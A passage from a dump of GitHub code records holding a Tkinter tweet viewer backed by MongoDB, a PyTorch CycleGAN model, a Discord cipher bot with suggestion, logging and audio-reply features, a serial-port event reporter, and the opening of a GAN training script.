tabla.insert('', 0,text=documento[\"tweetID\"], values=(documento[\"tweetText\"], documento[\"tweetCreated\"], documento[\"userName\"], documento[\"userLocation\"]))\n\n #Obtiene las ubicaciones mas comunes\n ubaciones_top = obtener_top_ubicaciones(coleccion, num_locations=3)\n # Insertar valores en los campos de entrada para ubicaciones\n pais1.delete(0, END)\n pais1.insert(0, f\"{ubaciones_top[0]['_id']} - {ubaciones_top[0]['count']}\")\n\n pais2.delete(0, END)\n pais2.insert(0, f\"{ubaciones_top[1]['_id']} - {ubaciones_top[1]['count']}\")\n\n pais3.delete(0, END)\n pais3.insert(0, f\"{ubaciones_top[2]['_id']} - {ubaciones_top[2]['count']}\")\n\n #Obtiene las fuentes mas comunes\n fuentes_top = obtener_mas_comunes_fuentes(coleccion, num_sources=3)\n # Insertar valores en los campos de entrada para fuentes\n source1.delete(0, END)\n source1.insert(0, f\"{fuentes_top[0][0]} - {fuentes_top[0][1]}\")\n\n source2.delete(0, END)\n source2.insert(0, f\"{fuentes_top[1][0]} - {fuentes_top[1][1]}\")\n\n source3.delete(0, END)\n source3.insert(0, f\"{fuentes_top[2][0]} - {fuentes_top[2][1]}\")\n\n\n except pymongo.errors.ServerSelectionTimeoutError as errorTiempo:\n print(\"Tiempo exedido \"+errorTiempo)\n\n except pymongo.errors.ConnectionFailure as errorConexion:\n print(\"Fallo al conectarse a mongodb \"+errorConexion)\n \n\n#Interaz TK\nventana=Tk()\ntabla = ttk.Treeview(ventana, columns=(\"Text\", \"created\", \"userName\", \"userLocation\"))\ntabla.grid(row=1, column=0, columnspan=2)\n\n# Define los anchos de las columnas\ntabla.column(\"#0\", width=150)\ntabla.column(\"Text\", width=700) \ntabla.column(\"created\", width=150)\ntabla.column(\"userName\", width=150)\ntabla.column(\"userLocation\", width=150)\n\n# Configura los encabezados de las columnas\ntabla.heading(\"#0\", text=\"TWEET ID\")\ntabla.heading(\"Text\", text=\"TEXTO\")\ntabla.heading(\"created\", text=\"FECHA CREACION\")\ntabla.heading(\"userName\", text=\"NOMBRE USUARIO\")\ntabla.heading(\"userLocation\", text=\"UBICACION USUARIO\")\n\n#Boton Ubicacion\nactualizar=Button(ventana,text=\"Ubicaciones mas comunes\",command=\"\",bg=\"green\",fg=\"white\")\nactualizar.grid(row=2,columnspan=2,sticky=W+E)\n\n#Etiqueta 1\nLabel(ventana,text=\"Ubicacion 1:\").grid(row=3,column=0,sticky=W+E)\npais1=Entry(ventana)\npais1.grid(row=3,column=1,sticky=W+E)\n\n#Etiqueta 2\nLabel(ventana,text=\"Ubicacion 2:\").grid(row=4,column=0,sticky=W+E)\npais2=Entry(ventana)\npais2.grid(row=4,column=1,sticky=W+E)\n\n#Etiqueta 3\nLabel(ventana,text=\"Ubicacion 3:\").grid(row=5,column=0,sticky=W+E)\npais3 =Entry(ventana)\npais3.grid(row=5,column=1,sticky=W+E)\n\n#Boton Sources\nactualizar=Button(ventana,text=\"Fuentes mas comunes\",command=\"\",bg=\"green\",fg=\"white\")\nactualizar.grid(row=6,columnspan=2,sticky=W+E)\n\n#Etiqueta 4\nLabel(ventana,text=\"Fuente 1:\").grid(row=7,column=0,sticky=W+E)\nsource1=Entry(ventana)\nsource1.grid(row=7,column=1,sticky=W+E)\n\n#Etiqueta 5\nLabel(ventana,text=\"Fuente 2:\").grid(row=8,column=0,sticky=W+E)\nsource2=Entry(ventana)\nsource2.grid(row=8,column=1,sticky=W+E)\n\n#Etiqueta 6\nLabel(ventana,text=\"Fuente 3:\").grid(row=9,column=0,sticky=W+E)\nsource3 =Entry(ventana)\nsource3.grid(row=9,column=1,sticky=W+E)\n\n#Boton Actualizar\nactualizar=Button(ventana,text=\"Actualizar\",command=mostrarDatos,bg=\"blue\",fg=\"white\")\nactualizar.grid(row=10,columnspan=2,sticky=W+E)\n\nmostrarDatos()\nventana.mainloop()","repo_name":"Jos-mlp/ProyectoTwitter","sub_path":"MostrarDatos.py","file_name":"MostrarDatos.py","file_ext":"py","file_size_in_byte":4870,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19654002187","text":"import torch\nimport itertools\nimport pandas as pd\nfrom utils.image_pool import ImagePool\nfrom models.base_model import BaseModel\nfrom options.model_specific_options import two_domain_parser_options\nfrom models import networks\nfrom torch.autograd import Variable\nfrom torchvision.utils import save_image\n\nclass cycleGAN(BaseModel):\n\n def __init__(self, args, logger):\n super().__init__(args, logger)\n # specify the training losses you want to print out. The program will call base_model.get_current_losses\n self.loss_names = ['loss_D_A', 'loss_D_B', 'loss_G_A', 'loss_G_B', 'loss_cycle_A', 'loss_cycle_B', 'loss_idt_A' , \n 'loss_idt_B', 'content_loss', 'style_loss', 'loss_rec_fake']\n # specify the images you want to save/display. The program will call base_model.get_current_visuals\n self.model_names = ['G_A', 'G_B', 'D_A', 'D_B']\n self.sample_names = ['fake_A', 'fake_B', 'rec_A', 'rec_B', 'real_A', 'real_B']\n\n use_sigmoid = args.no_lsgan\n\n if True:\n self.G_A = networks.define_G(args.input_nc, args.output_nc,\n args.ngf, args.which_model_netG, args.norm, not args.no_dropout, args.init_type,\n args.init_gain, self.gpu_ids)\n self.G_B = networks.define_G(args.output_nc, args.input_nc,\n args.ngf, args.which_model_netG, args.norm, not args.no_dropout, args.init_type,\n args.init_gain, self.gpu_ids)\n\n\n self.D_A = networks.define_D(args.output_nc, args.ndf, args.which_model_netD,\n args.n_layers_D, args.norm, use_sigmoid, args.init_type, args.init_gain,\n self.gpu_ids)\n self.D_B = networks.define_D(args.input_nc, args.ndf, args.which_model_netD,\n args.n_layers_D, args.norm, use_sigmoid, args.init_type, args.init_gain,\n self.gpu_ids)\n\n else:\n print('Todo load model')\n\n # initialize optimizers\n self.optimizer_G = torch.optim.Adam(itertools.chain(self.G_A.parameters(), self.G_B.parameters()),\n lr=args.g_lr, betas=(args.beta1, args.beta2))\n self.optimizer_D = torch.optim.Adam(itertools.chain(self.D_A.parameters(), self.D_B.parameters()),\n lr=args.d_lr, betas=(args.beta1, args.beta2))\n self.optimizers = []\n self.optimizers.append(self.optimizer_G)\n \n self.optimizers.append(self.optimizer_D)\n \n self.fake_A_pool = ImagePool(args.pool_size)\n self.fake_B_pool = ImagePool(args.pool_size)\n # define loss functions\n self.lambda_content_loss = self.args.lambda_content_loss\n self.lambda_style_loss = self.args.lambda_style_loss\n\n self.criterionGAN = networks.GANLoss(use_lsgan=not args.no_lsgan).to(self.device)\n self.criterionCycle = torch.nn.L1Loss()\n self.criterionIdt = torch.nn.L1Loss()\n self.criterionFakeRec = torch.nn.L1Loss()\n self.style_content_network = networks.Nerual_Style_losses(self.device)\n \n\n def name(self):\n return 'CycleGAN'\n\n @staticmethod\n def modify_commandline_options():\n return two_domain_parser_options()\n\n def set_input(self, input, args):\n AtoB = self.args.which_direction == 'AtoB'\n self.real_A = input[args.A_label if AtoB else args.B_label].to(self.device)\n self.real_B = input[args.B_label if AtoB else args.A_label].to(self.device)\n self.bb = input['Bb'].to(self.device)\n\n def forward(self):\n self.fake_B = self.G_A(self.real_A)\n self.rec_A = self.G_B(self.fake_B)\n\n self.fake_A = self.G_B(self.real_B)\n self.rec_B = self.G_A(self.fake_A)\n\n def backward_D_basic(self, netD, real, fake):\n # Real\n pred_real = netD(real)\n loss_D_real = self.criterionGAN(pred_real, True)\n # Fake\n pred_fake = netD(fake.detach())\n loss_D_fake = self.criterionGAN(pred_fake, False)\n # Combined loss\n loss_D = (loss_D_real + loss_D_fake) * 0.5\n # backward\n loss_D.backward()\n return loss_D\n\n def backward_D_A(self):\n fake_B = self.fake_B_pool.query(self.fake_B)\n self.loss_D_A = self.backward_D_basic(self.D_A, self.real_B, fake_B)\n\n def backward_D_B(self):\n fake_A = self.fake_A_pool.query(self.fake_A)\n self.loss_D_B = self.backward_D_basic(self.D_B, self.real_A, fake_A)\n\n def backward_G(self):\n lambda_idt = self.args.lambda_identity\n lambda_rec_fake = self.args.lambda_rec_fake_identity\n lambda_A = self.args.lambda_A\n lambda_B = self.args.lambda_B\n # Identity loss\n if lambda_idt > 0:\n # G_A should be identity if real_B is fed.\n self.idt_A = self.G_A(self.real_B)\n self.loss_idt_A = self.criterionIdt(self.bb * self.idt_A, self.bb *self.real_B) * lambda_B * lambda_idt\n # G_B should be identity if real_A is fed.\n self.idt_B = self.G_B(self.real_A)\n self.loss_idt_B = self.criterionIdt(self.bb * self.idt_B, self.bb * self.real_A) * lambda_A * lambda_idt\n else:\n self.loss_idt_A = 0\n self.loss_idt_B = 0\n\n\n if lambda_rec_fake > 0:\n tmpA = self.rec_A.clone().detach_()\n tmpB = self.rec_B.clone().detach_()\n\n self.loss_rec_fake_A = self.criterionFakeRec(self.fake_A, tmpA)\n self.loss_rec_fake_B = self.criterionFakeRec(self.fake_B, tmpB)\n self.loss_rec_fake_A = self.loss_rec_fake_A * lambda_A * lambda_rec_fake\n self.loss_rec_fake_B = self.loss_rec_fake_B * lambda_B * lambda_rec_fake\n self.loss_rec_fake = (self.loss_rec_fake_A + self.loss_rec_fake_B)/2\n else:\n self.loss_rec_fake = 0\n\n\n if self.lambda_content_loss > 0 or self.lambda_style_loss > 0:\n self.style_lossA, self.content_lossA = self.calculate_style_content_loss(self.fake_A, self.real_A)\n self.style_lossB, self.content_lossB = self.calculate_style_content_loss(self.fake_B, self.real_B)\n\n self.style_lossA *= self.args.lambda_style_loss * lambda_A\n self.style_lossB *= self.args.lambda_style_loss * lambda_B\n self.content_lossA *= self.lambda_content_loss * lambda_A\n self.content_lossB *= self.lambda_content_loss * lambda_B\n\n self.content_loss = (self.content_lossA + self.content_lossB)/2\n self.style_loss = (self.style_lossA + self.style_lossB)/2\n else:\n self.content_loss = 0\n self.style_loss = 0\n\n # GAN loss D_A(G_A(A))\n self.loss_G_A = self.criterionGAN(self.D_A(self.fake_B), True)\n # GAN loss D_B(G_B(B))\n self.loss_G_B = self.criterionGAN(self.D_B(self.fake_A), True)\n # Forward cycle loss\n self.loss_cycle_A = self.criterionCycle(self.bb * self.rec_A, self.bb * self.real_A) * lambda_A\n # Backward cycle loss\n self.loss_cycle_B = self.criterionCycle(self.bb *self.rec_B, self.bb * self.real_B) * lambda_B\n # combined loss\n self.loss_G = self.loss_G_A + self.loss_G_B + self.loss_cycle_A + self.loss_cycle_B + self.loss_idt_A + \\\n self.loss_idt_B + self.content_loss + self.style_loss + self.loss_rec_fake\n self.loss_G.backward()\n\n\n def calculate_style_content_loss(self, img, target):\n style_loss = self.style_content_network.get_style_loss(img, target)\n content_loss = self.style_content_network.get_content_loss(img, target)\n return style_loss, content_loss\n\n\n def optimize_parameters(self, num_steps, overwite_gen):\n # forward\n self.forward()\n # G_A and G_B\n self.set_requires_grad([self.D_A, self.D_B], False)\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n # D_A and D_B\n self.set_requires_grad([self.D_A, self.D_B], True)\n self.optimizer_D.zero_grad()\n self.backward_D_A()\n self.backward_D_B()\n self.optimizer_D.step()\n \n","repo_name":"kjod/ArtInspiredFashionHR","sub_path":"models/cycleGAN/cycleGAN.py","file_name":"cycleGAN.py","file_ext":"py","file_size_in_byte":8343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35848759714","text":"#Discord bot for running ComplexCipher (and other random stuff).\n\nimport discord\nfrom discord.ext import commands\nimport complexcipher2\nimport logging\nimport time\nimport os\nimport io\nimport random\nimport pickle\n\nlogging.basicConfig(format = '%(levelname)s:%(name)s:(%(asctime)s): %(message)s',\n datefmt = '%d-%b-%y %H:%M:%S',\n level = logging.INFO)\n\n################################################################################\n#Initialization start\n\nbot = commands.Bot('~')\ntoken = '' #Manually add token here.\ndicts = {}\nguilds = {}\nchannels = {}\nignored_users = []\nmaintenance = False\nbot.remove_command('help')\n\nif token == '': #Get token if it's not already in the code.\n try:\n file = open('token.txt')\n token = file.read()\n file.close()\n logging.info(\"Token acquired from file.\")\n except FileNotFoundError:\n logging.warning(\"Token file not found.\")\n try:\n token = os.environ['CIB_TOKEN']\n logging.info(\"Token acquired from environment variable.\")\n except KeyError:\n logging.warning(\"Token environment variable not found.\")\n logging.error(\"Token auto detection failed. Stopping execution.\")\n input(\"Press enter to quit.\")\n quit()\nelse:\n logging.info(\"Token acquired from code.\")\n\nwith open('config.txt') as file: #Load stored items into memory.\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n continue\n line = line.split('=', maxsplit = 1)\n try:\n if section == 'DICTIONARIES':\n id = int(line[0].strip())\n dict = line[1].strip()\n dicts[id] = dict\n if section == 'GUILDS':\n name = line[0].strip()\n id = int(line[1].split('\"')[1])\n guilds[id] = name\n if section == 'CHANNELS':\n name = line[0].strip()\n id = int(line[1].split('\"')[1])\n channels[name] = id\n if section == 'IGNORED':\n ignored_users.append(int(line[0].strip()))\n except (IndexError, ValueError):\n continue\nlogging.info(\"Guilds, channels, and dictionaries initialized.\")\n\nlogged = [int(guild) for guild in os.listdir('logs_active')]\nlogging.info(\"Logging messages in {0} guilds\".format(len(logged)))\n\n#Initialization end\n################################################################################\n#Helper functions start\n\ndef decode_log(log):\n entries = []\n cache = {}\n\n for entry in log:\n items = []\n\n if entry['version'] == 1:\n if entry['channel_id'] not in cache:\n cache[entry['channel_id']] = bot.get_channel(entry['channel_id'])\n\n if entry['author_id'] not in cache:\n cache[entry['author_id']] = bot.get_user(entry['author_id'])\n\n if cache[entry['channel_id']] is None:\n entry_channel_name = '#' + entry['channel_name'] + 'as seen'\n else:\n entry_channel_name = '#' + cache[entry['channel_id']].name\n\n if cache[entry['author_id']] is None:\n entry_author_name = entry['author_name'] + 'as seen'\n else:\n entry_author_name = cache[entry['author_id']].name\n\n items.append(str(entry['timestamp']))\n items.append(str(entry['message_id']))\n items.append(entry_channel_name)\n items.append(entry_author_name)\n items.append(entry['content'])\n\n else:\n raise NotImplementedError('Invalid entry version {0}'.format(entry['version']))\n\n entries.append(items)\n\n return entries\n\n#Helper functions end\n################################################################################\n#Commands start\n\n@bot.command() #Command to display help.\nasync def help(ctx):\n buffer = '''```\n CIPHER FUNCTIONS\n ~e - Encode text\n ~d - Decode text\n\n SUGGESTION FUNCTIONS\n ~suggest - Add suggestion to list\n ~suggestions <*parameters>\n view - View current suggestions\n clear - Clear all current suggestions\n remove - Remove suggestions tagged X, Y, Z,...\n ```'''\n await ctx.send(buffer)\n logging.info(\"Displayed help for {0}.\".format(ctx.message.author))\n\n@bot.command() #Command to change operating channel for cipher functions.\nasync def setchannel(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n except IndexError:\n content = 'current'\n buffer = ''\n writeG = False\n writeC = False\n if content == 'current':\n guilds[ctx.message.guild.id] = ctx.message.guild\n channels[ctx.message.guild] = ctx.message.channel.id\n with open('config.txt', 'r') as file:\n overwrite = False\n for line in file:\n if line.split('=', maxsplit = 1)[0].strip() == ctx.message.guild.name:\n overwrite = True\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'GUILDS' and overwrite == False:\n writeG = True\n elif section == 'CHANNELS' and overwrite == False:\n writeC = True\n if line.split('=', maxsplit = 1)[0].strip() == ctx.message.guild.name and section == 'GUILDS':\n buffer += '{0} = \"{1}\"\\n'.format(ctx.message.guild.name, ctx.message.guild.id)\n continue\n elif line.split('=', maxsplit = 1)[0].strip() == ctx.message.guild.name and section == 'CHANNELS':\n buffer += '{0} = \"{1}\" #{2}\\n'.format(ctx.message.guild.name, ctx.message.channel.id, ctx.message.channel.name)\n continue\n buffer += line + '\\n'\n if writeG:\n buffer += '{0} = \"{1}\"\\n'.format(ctx.message.guild.name, ctx.message.guild.id)\n writeG = False\n elif writeC:\n buffer += '{0} = \"{1}\" #{2}\\n'.format(ctx.message.guild.name, ctx.message.channel.id, ctx.message.channel.name)\n writeC = False\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info(\"Channel added - Guild: {0}; Channel: #{1}.\".format(ctx.message.guild, ctx.message.channel))\n await ctx.send('Set channel #{0} as output channel.'.format(ctx.message.channel))\n return\n\n@bot.command() #Command to encode text.\nasync def e(ctx):\n try:\n msgtime = time.strftime('[%H:%M:%S UTC]', time.gmtime())\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n logging.info(\"Processing encode request from {0}.\".format(ctx.message.author))\n msg = '{0} {1.message.author.mention} asked to encode `{2}` in #{1.message.channel}.'.format(msgtime, ctx, content)\n try:\n dict = dicts[ctx.message.author.id]\n except KeyError:\n dict = None\n msg += '\\nWARNING: No dictionary is linked to this account. Using standard dictionary.'\n try:\n msg += '\\n```{0}```'.format(complexcipher2.encode(content, dict))\n except:\n await ctx.send('An internal error occurred. You may have used an unsupported character.')\n return\n await dest_channel.send(msg)\n return\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~e ')\n return\n\n@bot.command() #Command to decode text.\nasync def d(ctx):\n try:\n msgtime = time.strftime('[%H:%M:%S UTC]', time.gmtime())\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n logging.info(\"Processing decode request from {0}.\".format(ctx.message.author))\n msg = '{0} {1.message.author.mention} asked to decode `{2}` in #{1.message.channel}.'.format(msgtime, ctx, content)\n try:\n dict = dicts[ctx.message.author.id]\n except KeyError:\n dict = None\n msg += '\\nWARNING: No dictionary is linked to this account. Using standard dictionary.'\n try:\n msg += '\\n```{0}```'.format(complexcipher2.decode(content, dict))\n except:\n await ctx.send('An internal error occurred. The cipher may be corrupted or you may not have the correct dictionary.')\n return\n await dest_channel.send(msg)\n return\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~d ')\n return\n\n@bot.command()\nasync def key(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 2)\n logging.info(\"Processing dict change request from {0}.\".format(ctx.message.author))\n write_new_dict = False\n\n if content[1] == 'generate':\n new_dict = complexcipher2.generate_dictionary()\n write_new_dict = True\n msg = 'A new dictionary has been generated and linked to your account.'\n msg += '\\nYour dictionary is: `{0}`'.format(new_dict)\n\n if content[1] == 'link':\n new_dict = content[2]\n if complexcipher2.check_dictionary(new_dict):\n write_new_dict = True\n msg = 'Dictionary was successfully linked to your account.'\n else:\n msg = 'Invalid dictionary. Check for copying errors or generate a new one.'\n\n if write_new_dict:\n dicts[ctx.message.author.id] = new_dict\n buffer = ''\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'DICTIONARIES':\n write = True\n check = True\n else:\n check = False\n if check and line.split('=')[0].strip() == str(ctx.message.author.id):\n pass\n else:\n buffer += line + '\\n'\n if write:\n buffer += '{0} = {1}\\n'.format(ctx.message.author.id, new_dict)\n write = False\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info(\"New dict successfully added to file.\")\n\n await ctx.send(msg)\n return\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~d ')\n return\n\n@bot.command() #Command to accept suggestions.\nasync def suggest(ctx):\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n buffer = ''\n write = False\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'SUGGESTIONS':\n write = True\n buffer += line + '\\n'\n if write:\n buffer += '{0} = \"{1}\"\\n'.format(ctx.message.guild.id, content)\n write = False\n with open('config.txt', 'w') as file:\n file.write(buffer)\n await ctx.send('Your suggestion has been recorded.')\n logging.info(\"Suggestion added in {0}.\".format(ctx.message.guild))\n return\n\n@bot.command() #Command to manage suggestions.\nasync def suggestions(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 2)[1]\n\n if content == 'view': #Subcommand to view existing suggestions for the guild.\n buffer = '```\\n'\n seq = 'A'\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section != 'SUGGESTIONS':\n continue\n line = line.split('=', maxsplit = 1)\n if line[0].strip() == str(ctx.message.guild.id):\n buffer += '{0}: {1}\\n'.format(seq, line[1].strip())\n seq = chr(ord(seq) + 1)\n if buffer == '```\\n':\n await ctx.send('No current suggestions. Use ~suggest to add new ones.')\n return\n msg = await ctx.send('Current suggestions:\\n' + buffer + '```')\n seq = ord(seq)\n seq_i = 'A'\n while seq > 65:\n emoji = discord.utils.get(bot.emojis, name = 'letter_{0}'.format(seq_i))\n await msg.add_reaction(emoji)\n seq -= 1\n seq_i = chr(ord(seq_i) + 1)\n logging.info(\"Displayed suggestions in {0}.\".format(ctx.message.guild))\n return\n\n elif content == 'clear': #Subcommand to clear all existing suggestions for the guild.\n buffer = ''\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'SUGGESTIONS' and line.split('=', maxsplit = 1)[0].strip() == str(ctx.message.guild.id):\n continue\n buffer += line + '\\n'\n with open('config.txt', 'w') as file:\n file.write(buffer)\n await ctx.send('Suggestions cleared.')\n logging.info(\"Cleared suggestions in {0}.\".format(ctx.message.guild))\n return\n\n elif content == 'remove': #Subcommand to remove specific suggestions for the guild.\n buffer = ''\n r_list = ctx.message.content.split(' ', maxsplit = 2)[2].split(', ')\n seq = 65\n for i in range(0, len(r_list)):\n r_list[i] = ord(r_list[i].upper())\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'SUGGESTIONS' and line.split('=', maxsplit = 1)[0].strip() == str(ctx.message.guild.id):\n if seq in r_list:\n seq += 1\n continue\n seq += 1\n buffer += line + '\\n'\n with open('config.txt', 'w') as file:\n file.write(buffer)\n await ctx.send('Suggestions removed.')\n logging.info(\"Removed suggestions in {0}.\".format(ctx.message.guild))\n return\n\n else:\n await ctx.send('Invalid syntax. Usage: ~suggestions <*parameters>')\n return\n\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~suggestions <*parameters>')\n return\n\n@bot.command() #Command to manage logging.\nasync def logs(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 2)[1]\n active_loc = 'logs_active/{0}'.format(ctx.message.guild.id)\n archive_loc = 'logs_archive/{0}'.format(ctx.message.guild.id)\n\n if content == 'enable': #Subcommand to enable logging for the guild.\n if str(ctx.message.guild.id) in os.listdir('logs_active'):\n await ctx.send('Logging is already enabled for this guild')\n return\n elif str(ctx.message.guild.id) in os.listdir('logs_archive'):\n os.rename(archive_loc, active_loc)\n else:\n with open(active_loc, 'wb') as file:\n pickle.dump([], file)\n logged.append(ctx.message.guild.id)\n await ctx.send('Logging successfully enabled')\n logging.info('Logging enabled for {0}'.format(ctx.message.guild.name))\n return\n\n if content == 'disable': #Subcommand to disable logging for the guild.\n if str(ctx.message.guild.id) not in os.listdir('logs_active'):\n await ctx.send('Logging is not enabled for this guild')\n return\n os.rename(active_loc, archive_loc)\n logged.remove(ctx.message.guild.id)\n await ctx.send('Logging successfully disabled for this guild')\n logging.info('Logging disabled for {0}'.format(ctx.message.guild.name))\n return\n\n if content == 'export': #Subcommand to dump the guild log as a text file\n if str(ctx.message.guild.id) in os.listdir('logs_active'):\n tgt_file = active_loc\n elif str(ctx.message.guild.id) in os.listdir('logs_archive'):\n tgt_file = archive_loc\n else:\n await ctx.send('No log exists for this guild')\n return\n with open(tgt_file, 'rb') as file:\n log = pickle.load(file)\n out = '\\n'.join(','.join(item.replace(',', '').replace('\\n', ' ')\n for item in entry) for entry in decode_log(log))\n await ctx.send(file=discord.File(io.StringIO(out), '{0}.csv'.format(time.time())))\n logging.info('Logs dumped for {0}'.format(ctx.message.guild.name))\n return\n \n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~logs ')\n return\n\n@bot.command() #Command to ignore users.\nasync def ignore(ctx):\n if ctx.author.id not in ignored_users:\n ignored_users.append(ctx.author.id)\n with open('config.txt', 'r') as file:\n buffer = ''\n for line in file:\n write_user = False\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'IGNORED':\n write_user = True\n buffer += line + '\\n'\n if write_user:\n buffer += '{0}\\n'.format(ctx.author.id)\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info('Ignoring {0}'.format(ctx.author.id))\n await ctx.send('I will ignore you from now on unless you use a command.')\n else:\n ignored_users.remove(ctx.author.id)\n with open('config.txt', 'r') as file:\n buffer = ''\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'IGNORED':\n try:\n if int(line) == ctx.author.id:\n continue\n except ValueError:\n pass\n buffer += line + '\\n'\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info('Not ignoring {0}'.format(ctx.author.id))\n await ctx.send('I will not ignore you anymore :D') \n\n#Commands end\n################################################################################\n\n@bot.event\nasync def on_message(message):\n try:\n if message.guild.id in logged: #Log message if needed\n content = message.clean_content\n for attachment in message.attachments:\n content += '\\nATTACHMENT: {0.filename} ({0.url})'.format(attachment)\n with open('logs_active/{0}'.format(message.guild.id), 'rb') as file:\n log = pickle.load(file)\n log.append({\n 'version': 1,\n 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),\n 'message_id': message.id,\n 'channel_id': message.channel.id,\n 'channel_name': message.channel.name,\n 'author_id': message.author.id,\n 'author_name': message.author.display_name,\n 'content': content,\n })\n with open('logs_active/{0}'.format(message.guild.id), 'wb') as file:\n pickle.dump(log, file)\n except:\n logging.warning('Attempt to log message failed in {0}'.format(message.guild.id))\n\n if message.author == bot.user:\n return\n\n channel = message.channel\n\n if message.content.split(' ')[0] == '~maintenance':\n try:\n global maintenance #Maintenance mode toggle checking.\n if message.content.split(' ', maxsplit = 1)[1] == 'enable':\n maintenance = True\n logging.warning('Maintenance mode is enabled.')\n await bot.change_presence(activity = discord.Game(name = 'Maintenance mode'))\n await channel.send('Maintenance mode is enabled.')\n return\n if message.content.split(' ', maxsplit = 1)[1] == 'disable':\n maintenance = False\n logging.warning('Maintenance mode is disabled.')\n await bot.change_presence(activity = discord.Game(name = 'Making ciphers circa 2018'))\n await channel.send('Maintenance mode is disabled.')\n return\n except IndexError:\n pass\n\n if maintenance == True:\n return\n\n global dest_channel\n try:\n global dest_channel #Determining message destination.\n if isinstance(channel, discord.abc.PrivateChannel):\n guild = 'DM'\n dest_channel = bot.get_channel(channel.id)\n else:\n guild = guilds[message.guild.id]\n dest_channel = bot.get_channel(channels[guild])\n except KeyError: #Guild does not exist in config file.\n guild = message.guild.name\n dest_channel = bot.get_channel(channel.id)\n\n if message.author.id not in ignored_users:\n greetings = ['hello', 'hey', 'hi']\n msg_words = message.content.lower().split()\n if any(greeting in msg_words for greeting in greetings) and len(msg_words) <= 5:\n msg = \"{0} :wave:\".format(random.choice(greetings).capitalize())\n await message.channel.send(msg)\n return\n\n if message.content.lower() in ('bruh', 'ohhh'):\n #Thanks to NQN for the webhooks idea\n webhooks = await message.channel.webhooks()\n webhook = discord.utils.get(webhooks, name = 'Imposter CIB')\n if webhook is None:\n webhook = await message.channel.create_webhook(name = 'Imposter CIB')\n await webhook.send(\n file = discord.File('{0}.mp3'.format(message.content.lower())),\n username = message.author.display_name, \n avatar_url = message.author.avatar_url,\n )\n await message.delete()\n return\n\n if 'bruh' in message.content.lower(): #bruh\n await message.channel.send(file=discord.File('bruh.mp3'))\n\n if 'ohhh' in message.content.lower(): #ohhh\n await message.channel.send(file=discord.File('ohhh.mp3'))\n\n await bot.process_commands(message)\n\n@bot.event\nasync def on_ready():\n logging.info('Logged in as {0.name} (ID: {0.id})'.format(bot.user))\n logging.info('Running ComplexCipher {0}.'.format(complexcipher2.VERSION))\n await bot.change_presence(activity = discord.Game(name = 'Making ciphers circa 2018'))\n\nif __name__ == '__main__':\n bot.run(token)\n","repo_name":"OxyMagnesium/ComplexCipher","sub_path":"cipherinterpreterbot.py","file_name":"cipherinterpreterbot.py","file_ext":"py","file_size_in_byte":24028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"7955197563","text":"import time\nimport serial\n\n\n\"\"\"\nThe method sends a signal according to the scenario given, to the serial port, then zero-s it back and closes the port.\nList of scenarios:\n \n 255 - Initialization\n\n # Scenarios List indexing method:\n # (reward - 1) * 7 + Punishment - 1\n # For example:\n # Reward 1 Punishment 1 - index 0\n # Reward 5 Punishment 2 - index 29\n \n 0-48 - Door start\n 50-98 - Door lock\n 100-148 - Door opening\n\"\"\"\n\n\ndef report_event(ser: serial.Serial, event_num: int):\n if not ser.is_open:\n ser.open()\n ser.write(hex(event_num).encode())\n time.sleep(0.05)\n ser.write(\"RR\".encode())\n ser.close()","repo_name":"omerday/Doors-Task","sub_path":"Assignments/Doors/serialHandler.py","file_name":"serialHandler.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39468456102","text":"import argparse # argparse 是python自带的命令行参数解析包\r\nimport os\r\nimport numpy as np\r\nimport math\r\n\r\nimport torchvision.transforms as transforms\r\nfrom torchvision.utils import save_image\r\n\r\nfrom torch.utils.data import DataLoader # 数据加载\r\nfrom torchvision import datasets\r\nfrom torch.autograd import Variable\r\n\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch\r\n\r\nos.makedirs(\"images\", exist_ok=True) # 用于递归创建目录\r\n\r\n# 创建解析器\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--n_epochs\", type=int, default=200, help=\"number of epochs of training\")\r\nparser.add_argument(\"--batch_size\", 